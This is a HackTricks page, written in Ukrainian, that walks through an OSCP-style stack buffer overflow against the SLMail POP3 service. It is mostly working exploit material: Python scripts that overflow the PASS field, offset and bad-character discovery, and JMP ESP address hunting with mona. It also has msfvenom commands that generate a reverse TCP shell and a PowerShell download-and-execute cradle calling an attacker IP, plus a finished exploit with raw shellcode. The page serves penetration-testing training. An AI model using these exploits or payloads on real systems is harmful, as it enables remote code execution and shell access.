hacktricks/reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md
2024-04-06 19:41:21 +00:00

12 KiB
Raw Blame History

Взлом Windows (Базовий посібник - рівень OSCP)

Вивчайте взлом AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Почніть встановлювати службу SLMail

Перезапустіть службу SLMail

Кожного разу, коли вам потрібно перезапустити службу SLMail, ви можете зробити це за допомогою консолі Windows:

net start slmail

Дуже базовий шаблон експлоіту на Python

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Змінити шрифт Immunity Debugger

Перейдіть до Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK

Прикріпіть процес до Immunity Debugger:

File --> Attach

І натисніть кнопку START

Надішліть експлойт та перевірте, чи змінено EIP:

Кожного разу, коли ви припиняєте службу, вам слід перезапустити її, як це вказано на початку цієї сторінки.

Створіть шаблон для зміни EIP

Шаблон повинен бути таким же великим, як буфер, який ви використовували для відключення служби раніше.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Змініть буфер експлойту та встановіть шаблон і запустіть експлойт.

Повинен виникнути новий збій, але з іншою адресою EIP:

Перевірте, чи адреса була в вашому шаблоні:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Схоже, ми можемо змінити EIP в зміщенні 2606 буфера.

Перевірте це, змінивши буфер експлойту:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

З цим буфером EIP, що призвело до аварії, повинно вказувати на 42424242 ("BBBB")

Здається, що все працює.

Перевірте наявність місця для Shellcode в стеку

600B повинно бути достатньо для будь-якого потужного shellcode.

Давайте змінимо буфер:

buffer = 'A'*2606 + 'BBBB' + 'C'*600

Запустіть новий експлойт та перевірте EBP та довжину корисного shellcode

Ви можете побачити, що коли досягається вразливість, EBP вказує на shellcode і ми маємо багато місця для розташування shellcode тут.

У цьому випадку у нас від 0x0209A128 до 0x0209A2D6 = 430B. Достатньо.

Перевірте на наявність поганих символів

Знову змініть буфер:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

Погані символи починаються з 0x01, оскільки 0x00 майже завжди є поганим.

Виконуйте експлоіт повторно з цим новим буфером, видаляючи символи, які виявлено як непотрібні:.

Наприклад:

У цьому випадку ви бачите, що не слід використовувати символ 0x0A (нічого не зберігається в пам'яті, оскільки символ 0x09).

У цьому випадку ви бачите, що символ 0x0D уникнуто:

Знайдіть JMP ESP як адресу повернення

Використовуючи:

!mona modules    #Get protections, look for all false except last one (Dll of SO)

Ви виведете карти пам'яті. Шукайте деякий DLl, який має:

  • Rebase: False
  • SafeSEH: False
  • ASLR: False
  • NXCompat: False
  • OS Dll: True

Тепер, всередині цієї пам'яті ви повинні знайти деякі байти JMP ESP, щоб це зробити, виконайте:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

Потім, якщо знайдено якусь адресу, виберіть таку, яка не містить жодних поганих символів:

У цьому випадку, наприклад: _0x5f4a358f_

Створення shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

Якщо експлойт не працює, але повинен (ви можете побачити за допомогою ImDebg, що досягнуто shellcode), спробуйте створити інші shellcode (msfvenom створить різні shellcode для тих самих параметрів).

Додайте деякі NOPS в початок shellcode та використовуйте його та адресу повернення для JMP ESP, і завершіть експлойт:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

{% hint style="warning" %} Існують shellcode, які перезапишуть себе, тому важливо завжди додавати деякі NOPs перед shellcode {% endhint %}

Покращення shellcode

Додайте ці параметри:

EXITFUNC=thread -e x86/shikata_ga_nai
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: